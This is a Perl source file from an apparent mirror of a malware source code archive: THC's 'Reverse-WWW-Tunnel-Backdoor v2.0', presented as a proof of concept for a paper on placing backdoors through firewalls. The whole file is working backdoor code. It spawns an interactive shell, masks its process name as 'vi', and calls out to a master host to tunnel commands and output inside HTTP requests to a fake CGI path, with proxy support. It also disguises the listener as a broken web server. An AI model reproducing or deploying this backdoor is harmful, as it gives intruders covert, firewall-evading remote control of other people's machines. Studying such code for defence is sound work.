mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 03:58:34 +00:00
368 lines
14 KiB
Perl
368 lines
14 KiB
Perl
#!/usr/bin/perl
|
||
#
|
||
# Reverse-WWW-Tunnel-Backdoor v2.0
|
||
# (c) 1998-2002 by van Hauser / [THC] - The Hacker's Choice <vh@reptile.rug.ac.be>
|
||
# Check out http://www.thehackerschoice.com
|
||
# Proof-of-Concept Program for the paper "Placing Backdoors through Firewalls"
|
||
# available at the website above in the "Articles" section.
|
||
#
|
||
|
||
# Greets to all THC, TESO, ADM and #bluebox guys
|
||
|
||
# verified to work on Linux, Solaris, AIX and OpenBSD
|
||
|
||
# BUGS: some Solaris machines: select(3) is broken, won't work there
|
||
# on some systems Perl's recv is broken :-( (AIX, OpenBSD) ...
|
||
# we can't make proper receive checks here. Workaround implemented.
|
||
#
|
||
# HISTORY:
|
||
# v2.0: HTTP 1.0 protocol compliance (finally ;-)
|
||
# v1.6: included www-proxy authentication ;-))
|
||
# v1.4: porting to various unix types (and I thought perl'd be portable...)
|
||
# v1.3: initial public release of the paper including this tool
|
||
|
||
#
|
||
# GENERAL CONFIG (except for $MASK, everything must be the same
|
||
# for MASTER and SLAVE is this section!)
|
||
#
|
||
$MODE="POST"; # GET or POST
|
||
$CGI_PREFIX="/cgi-bin/orderform";# should look like a valid cgi.
|
||
$MASK="vi"; # for masking the program's process name
|
||
$PASSWORD="THC"; # anything, nothing you have to rememeber
|
||
# (not a real "password" anyway)
|
||
#
|
||
# MASTER CONFIG (specific for the MASTER)
|
||
#
|
||
$LISTEN_PORT=8080; # on which port to listen (80 [needs root] or 8080)
|
||
$SERVER="127.0.0.1"; # the host to run on (ip/dns) (the SLAVE needs this!)
|
||
|
||
#
|
||
# SLAVE CONFIG (specific for the SLAVE)
|
||
#
|
||
$SHELL="/bin/sh -i"; # program to execute (e.g. /bin/sh)
|
||
$DELAY="3"; # time to wait for output after your command(s)
|
||
#$TIME="14:39"; # time when to connect to the master (unset if now)
|
||
#$DAILY="yes"; # tries to connect once daily if set with something
|
||
#$PROXY="127.0.0.1"; # set this with the Proxy if you must use one
|
||
#$PROXY_PORT="3128"; # set this with the Proxy Port if you must use one
|
||
#$PROXY_USER="user"; # username for proxy authentication
|
||
#$PROXY_PASSWORD="pass";# password for proxy authentication
|
||
#$DEBUG="yes"; # for debugging purpose, turn off when in production
|
||
$BROKEN_RECV="yes"; # For AIX & OpenBSD, NOT for Linux & Solaris
|
||
|
||
# END OF CONFIG # nothing for you to do after this point #
|
||
|
||
################## BEGIN MAIN CODE ##################
|
||
|
||
require 5.002;
|
||
use Socket;
|
||
|
||
$|=1; # next line changes our process name
|
||
if ($MASK) { for ($a=1;$a<80;$a++){$MASK=$MASK."\000";} $0=$MASK; }
|
||
undef $DAILY if (! $TIME);
|
||
if ( !($PROXY) || !($PROXY_PORT) ) {
|
||
undef $PROXY;
|
||
undef $PROXY_PORT;
|
||
}
|
||
$protocol = getprotobyname('tcp');
|
||
|
||
if ($ARGV[0] ne "slave" && $ARGV[0] ne "daemon" && $ARGV[0] ne "master" && $ARGV[1] eq "") {
|
||
print STDOUT "Proof-of-Concept Program for the paper \"Placing Backdoors through Firewalls\"\navailable at http://www.thehackerschoice.com in the \"Articles\" section.\n";
|
||
print STDOUT "Commandline options for rwwwshell:\n\tmaster\t- master mode\n\tslave\t- slave mode\n";
|
||
exit(0);
|
||
}
|
||
|
||
if ($ARGV[0] eq "slave") {
|
||
print STDOUT "starting in slave mode\n";
|
||
$SLAVE_MODE = "yeah";
|
||
}
|
||
|
||
# check for a correct mode
|
||
if ($MODE ne "GET" && $MODE ne "POST") {
|
||
print STDOUT "Error: MODE must either be GET or POST, re-edit this perl config\n";
|
||
exit(-1);
|
||
}
|
||
|
||
if (! $SLAVE_MODE) {
|
||
&master;
|
||
} else {
|
||
&slave;
|
||
}
|
||
# END OF MAIN FUNCTION
|
||
|
||
############### SLAVE FUNCTION ###############
|
||
|
||
sub slave {
|
||
$pid = 0;
|
||
$PROXY_SUFFIX = "Host: " . $SERVER . "\r\nUser-Agent: Mozilla/4.0\r\nAccept: text/html, text/plain, image/jpeg, image/*;\r\nAccept-Language: en\r\n";
|
||
if ($PROXY) { # setting the real config (for Proxy Support)
|
||
$REAL_SERVER = $PROXY;
|
||
$REAL_PORT = $PROXY_PORT;
|
||
$REAL_PREFIX = $MODE . " http://" . $SERVER . ":" . $LISTEN_PORT
|
||
. $CGI_PREFIX;
|
||
$PROXY_SUFFIX = $PROXY_SUFFIX . "Pragma: no-cache\r\n";
|
||
if ( $PROXY_USER && USER_PASSWORD ) {
|
||
&base64encoding;
|
||
$PROXY_SUFFIX = $PROXY_SUFFIX . $PROXY_COOKIE;
|
||
}
|
||
} else {
|
||
$REAL_SERVER = $SERVER;
|
||
$REAL_PORT = $LISTEN_PORT;
|
||
$REAL_PREFIX = $MODE . " " . $CGI_PREFIX;
|
||
}
|
||
$REAL_PREFIX = $REAL_PREFIX . "?" if ($MODE eq "GET");
|
||
$REAL_PREFIX = $REAL_PREFIX . " HTTP/1.0\r\n" if ($MODE eq "POST");
|
||
AGAIN: if ($pid) { kill 9, $pid; }
|
||
if ($TIME) { # wait until the specified $TIME
|
||
$TIME =~ s/^0//; $TIME =~ s/:0/:/;
|
||
(undef,$min,$hour,undef,undef,undef,undef,undef,undef)
|
||
= localtime(time);
|
||
$t=$hour . ":" . $min;
|
||
while ($TIME ne $t) {
|
||
sleep(28); # every 28 seconds we look at the watch
|
||
(undef,$min,$hour,undef,undef,undef,undef,undef,undef)
|
||
= localtime(time);
|
||
$t=$hour . ":" .$min;
|
||
}
|
||
}
|
||
print STDERR "Slave activated\n" if $DEBUG;
|
||
if ($DAILY) { # if we must connect daily, we'll
|
||
if (fork) { # fork the daily shell process to
|
||
sleep(69); # ensure the master control process
|
||
goto AGAIN; # won't get stuck by a fucking cmd
|
||
} # the user executed.
|
||
print STDERR "forked\n" if $DEBUG;
|
||
}
|
||
$address = inet_aton($REAL_SERVER) || die "can't resolve server\n";
|
||
$remote = sockaddr_in($REAL_PORT, $address);
|
||
$forked = 0;
|
||
GO: close(THC);
|
||
socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
|
||
or die "can't create socket\n";
|
||
setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
|
||
if (! $forked) { # fork failed? fuck, let's try again
|
||
pipe R_IN, W_IN; select W_IN; $|=1;
|
||
pipe R_OUT, W_OUT; select W_OUT; $|=1;
|
||
$pid = fork;
|
||
if (! defined $pid) {
|
||
close THC;
|
||
close R_IN; close W_IN;
|
||
close R_OUT; close W_OUT;
|
||
goto GO;
|
||
}
|
||
$forked = 1;
|
||
}
|
||
if (! $pid) { # this is the child process (execs $SHELL)
|
||
close R_OUT; close W_IN; close THC;
|
||
print STDERR "forking $SHELL in child\n" if $DEBUG;
|
||
open STDIN, "<&R_IN";
|
||
open STDOUT, ">&W_OUT";
|
||
open STDERR, ">&W_OUT";
|
||
exec $SHELL || print W_OUT "couldn't spawn $SHELL\n";
|
||
close R_IN; close W_OUT;
|
||
exit(0);
|
||
} else { # this is the parent (data control + network)
|
||
close R_IN;
|
||
sleep($DELAY); # we wait $DELAY for the commands to complete
|
||
vec($rs, fileno(R_OUT), 1) = 1;
|
||
print STDERR "before: allwritten2stdin\n" if $DEBUG;
|
||
select($r = $rs, undef, undef, 30);
|
||
print STDERR "after : wait for allwritten2stdin\n" if $DEBUG;
|
||
sleep(1); # The following readin of the command output
|
||
$output = ""; # looks weird. It must be! every system
|
||
vec($ws, fileno(W_OUT), 1) = 1; # behaves different :-((
|
||
print STDERR "before: readwhiledatafromstdout\n" if $DEBUG;
|
||
while (select($w = $ws, undef, undef, 1)) {
|
||
read R_OUT, $readout, 1 || last;
|
||
$output = $output . $readout;
|
||
}
|
||
print STDERR "after : readwhiledatafromstdout\n" if $DEBUG;
|
||
print STDERR "before: fucksunprob\n" if $DEBUG;
|
||
vec($ws, fileno(W_OUT), 1) = 1;
|
||
while (! select(undef, $w=$ws, undef, 0.001)) {
|
||
read R_OUT, $readout, 1 || last;
|
||
$output = $output . $readout;
|
||
}
|
||
print STDERR "after : fucksunprob\n" if $DEBUG;
|
||
print STDERR "send 0byte to stdout, fail->exit\n" if $DEBUG;
|
||
print W_OUT "\000" || goto END_IT;
|
||
print STDERR "before: readallstdoutdatawhile!eod\n" if $DEBUG;
|
||
while (1) {
|
||
read R_OUT, $readout, 1 || last;
|
||
last if ($readout eq "\000");
|
||
$output = $output . $readout;
|
||
}
|
||
print STDERR "after : readallstdoutdatawhile!eod\n" if $DEBUG;
|
||
&uuencode; # does the encoding of the shell output
|
||
if ($MODE eq "GET") {
|
||
$encoded = $REAL_PREFIX . $encoded . " HTTP/1.0\r\n";
|
||
$encoded = $encoded . $PROXY_SUFFIX;
|
||
$encoded = $encoded . "\r\n";
|
||
} else { # $MODE is "POST"
|
||
$encoded = $REAL_PREFIX . $PROXY_SUFFIX
|
||
. "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
|
||
. $encoded . "\r\n";
|
||
}
|
||
print STDERR "connecting to remote, fail->exit\n" if $DEBUG;
|
||
connect(THC, $remote) || goto END_IT; # connect to master
|
||
print STDERR "send encoded data, fail->exit\n" if $DEBUG;
|
||
send (THC, $encoded, 0) || goto END_IT; # and send data
|
||
$input = "";
|
||
vec($rt, fileno(THC), 1) = 1; # wait until master sends reply
|
||
print STDERR "before: wait4answerfromremote\n" if $DEBUG;
|
||
while (! select($r = $rt, undef, undef, 0.00001)) {}
|
||
print STDERR "after : wait4answerfromremote\n" if $DEBUG;
|
||
print STDERR "read data from socket until eod\n" if $DEBUG;
|
||
$error="no";
|
||
# while (1) { # read until EOD (End Of Data)
|
||
print STDERR "?" if $DEBUG;
|
||
# OpenBSD 2.2 can't recv here! can't get any data! sucks ...
|
||
recv (THC, $readin, 16386, 0) || undef $error;
|
||
# if ((! $error) and (! $BROKEN_RECV)) { goto OK; }
|
||
print STDERR "!" if $DEBUG;
|
||
goto OK if (($readin eq "\000") or ($readin eq "\n")
|
||
or ($readin eq ""));
|
||
$input = $input . $readin;
|
||
# }
|
||
OK: print STDERR "\nall data read, entering OK\n" if $DEBUG;
|
||
print STDERR "RECEIVE: $input\n" if $DEBUG;
|
||
$input =~ s/.*\r\n\r\n//s;
|
||
print STDERR "BEFORE DECODING: $input\n" if $DEBUG;
|
||
&uudecode; # decoding the data from the master
|
||
print STDERR "AFTER DECODING: $decoded\n" if $DEBUG;
|
||
print STDERR "if password not found -> exit\n" if $DEBUG;
|
||
goto END_IT if ($decoded =~ m/^$PASSWORD/s == 0);
|
||
$decoded =~ s/^$PASSWORD//;
|
||
print STDERR "writing input data to $SHELL\n" if $DEBUG;
|
||
print W_IN "$decoded" || goto END_IT; # sending the data
|
||
sleep(1); # to the shell proc.
|
||
print STDERR "jumping to GO\n" if $DEBUG;
|
||
goto GO;
|
||
}
|
||
END_IT: kill 9, $pid; $pid = 0;
|
||
exit(0);
|
||
} # END OF SLAVE FUNCTION
|
||
|
||
############### MASTER FUNCTION ###############
|
||
|
||
sub master {
|
||
socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
|
||
or die "can't create socket\n";
|
||
setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
|
||
bind(THC, sockaddr_in($LISTEN_PORT, INADDR_ANY)) || die "can't bind\n";
|
||
listen(THC, 3) || die "can't listen\n"; # print the HELP
|
||
print STDOUT '
|
||
Welcome to the Reverse-WWW-Tunnel-Backdoor v2.0 by van Hauser / THC ...
|
||
|
||
Introduction: Wait for your SLAVE to connect, examine it\'s output and then
|
||
type in your commands to execute on SLAVE. You\'ll have to
|
||
wait min. the set $DELAY seconds before you get the output
|
||
and can execute the next stuff. Use ";" for multiple commands.
|
||
Trying to execute interactive commands may give you headache
|
||
so beware. Your SLAVE may hang until the daily connect try
|
||
(if set - otherwise you lost).
|
||
You also shouldn\'t try to view binary data too ;-)
|
||
"echo bla >> file", "cat >> file <<- EOF", sed etc. are your
|
||
friends if you don\'t like using vi in a delayed line mode ;-)
|
||
To exit this program on any time without doing harm to either
|
||
MASTER or SLAVE just press Control-C.
|
||
Now have fun.
|
||
';
|
||
|
||
YOP: print STDOUT "\nWaiting for connect ...";
|
||
$remote=accept (S, THC) || goto YOP; # get the connection
|
||
($r_port, $r_slave)=sockaddr_in($remote); # and print the SLAVE
|
||
$slave=gethostbyaddr($r_slave, AF_INET); # data.
|
||
$slave="unresolved" if ($slave eq "");
|
||
print STDOUT " connect from $slave/".inet_ntoa($r_slave).":$r_port\n";
|
||
select S; $|=1;
|
||
select STDOUT; $|=1;
|
||
$input = "";
|
||
vec($socks, fileno(S), 1) = 1;
|
||
$error="no";
|
||
# while (1) { # read the data sent by the slave
|
||
while (! select($r = $socks, undef, undef, 0.00001)) {}
|
||
recv (S, $readin, 16386, 0) || undef $error;
|
||
if ((! $error) and (! $BROKEN_RECV)) {
|
||
print STDOUT "[disconnected]\n";
|
||
}
|
||
# $readin =~ s/\r//g;
|
||
# $input = $input . $readin;
|
||
# last if ( $input =~ m/\r\n\r\n/s );
|
||
$input = $readin;
|
||
print STDERR "MASTER RECEIVE: $input\n" if $DEBUG;
|
||
# }
|
||
&hide_as_broken_webserver if ( $input =~ m/$CGI_PREFIX/s == 0 );
|
||
if ( $input =~ m/^GET /s ) {
|
||
$input =~ s/^.*($CGI_PREFIX)\??//s;
|
||
$input =~ s/\r\n.*$//s;
|
||
} else { if ( $input =~ m/^POST /s ) {
|
||
$input =~ s/^.*\r\n\r\n//s;
|
||
} else { if ( $input =~ m/^HEAD /s ) {
|
||
&hide_as_broken_webserver;
|
||
} else {
|
||
close S;
|
||
print STDOUT "Warning! Illegal server access!\n"; # report to user
|
||
goto YOP;
|
||
} } }
|
||
print STDERR "BEFORE DECODING: $input\n" if $DEBUG;
|
||
&uudecode; # decoding the data from the slave
|
||
&hide_as_broken_webserver if ( $decoded =~ m/^$PASSWORD/s == 0 );
|
||
$decoded =~ s/^$PASSWORD//s;
|
||
$decoded = "[Warning! No output from remote!]\n>" if ($decoded eq "");
|
||
print STDOUT "$decoded"; # showing the slave output to the user
|
||
$output = <STDIN>; # and get his input.
|
||
&uuencode; # encode the data for the slave
|
||
$encoded = "HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\n" . $encoded . "\r\n";
|
||
send (S, $encoded, 0) || die "\nconnection lost!\n"; # and send it
|
||
close (S);
|
||
print STDOUT "sent.\n";
|
||
goto YOP; # wait for the next connect from the slave
|
||
} # END OF MASTER FUNCTION
|
||
|
||
###################### MISC. FUNCTIONS #####################
|
||
|
||
sub uuencode { # does the encoding stuff for error-free data transfer via WWW
|
||
$output = $PASSWORD . $output; # PW is for error checking and
|
||
$uuencoded = pack "u", "$output"; # preventing sysadmins from
|
||
$uuencoded =~ tr/'\n)=(:;&><,#$*%]!\@"`\\\-' # sending you weird
|
||
/'zcadefghjklmnopqrstuv' # data. No real
|
||
/; # security!
|
||
$uuencoded =~ tr/"'"/'b'/;
|
||
if ( ($PROXY) && ($SLAVE_MODE) ) {# proxy drops request if > 4kb
|
||
$codelength = (length $uuencoded) + (length $REAL_PREFIX) +12;
|
||
$cut_length = 4099 - (length $REAL_PREFIX);
|
||
$uuencoded = pack "a$cut_length", $uuencoded
|
||
if ($codelength > 4111);
|
||
}
|
||
$encoded = $uuencoded;
|
||
} # END OF UUENCODE FUNCTION
|
||
|
||
sub uudecode { # does the decoding of the data stream
|
||
$input =~ tr/'zcadefghjklmnopqrstuv'
|
||
/'\n)=(:;&><,#$*%]!\@"`\\\-'
|
||
/;
|
||
$input =~ tr/'b'/"'"/;
|
||
$decoded = unpack "u", "$input";
|
||
} # END OF UUDECODE FUNCTION
|
||
|
||
sub base64encoding { # does the base64 encoding for proxy passwords
|
||
$encode_string = $PROXY_USER . ":" . $PROXY_PASSWORD;
|
||
$encoded_string = substr(pack('u', $encode_string), 1);
|
||
chomp($encoded_string);
|
||
$encoded_string =~ tr|` -_|AA-Za-z0-9+/|;
|
||
$padding = (3 - length($encode_string) % 3) % 3;
|
||
$encoded_string =~ s/.{$padding}$/'=' x $padding/e if $padding;
|
||
$PROXY_COOKIE = "Proxy-authorization: Basic " . $encoded_string . "\n";
|
||
} # END OF BASE64ENCODING FUNCTION
|
||
|
||
sub hide_as_broken_webserver { # invalid request -> look like broken server
|
||
send (S, "<HTML><HEAD>\r\n<TITLE>404 File Not Found</TITLE>\r\n</HEAD>".
|
||
"<BODY>\r\n<H1>File Not Found</H1>\r\n</BODY></HTML>\r\n", 0);
|
||
close S;
|
||
print STDOUT "Warning! Illegal server access!\n"; # report to user
|
||
goto YOP;
|
||
} # END OF HIDE_AS_BROKEN_WEBSERVER FUNCTION
|
||
|
||
# END OF PROGRAM # (c) 1998-2002 by <vh@reptile.rug.ac.be>
|
||
|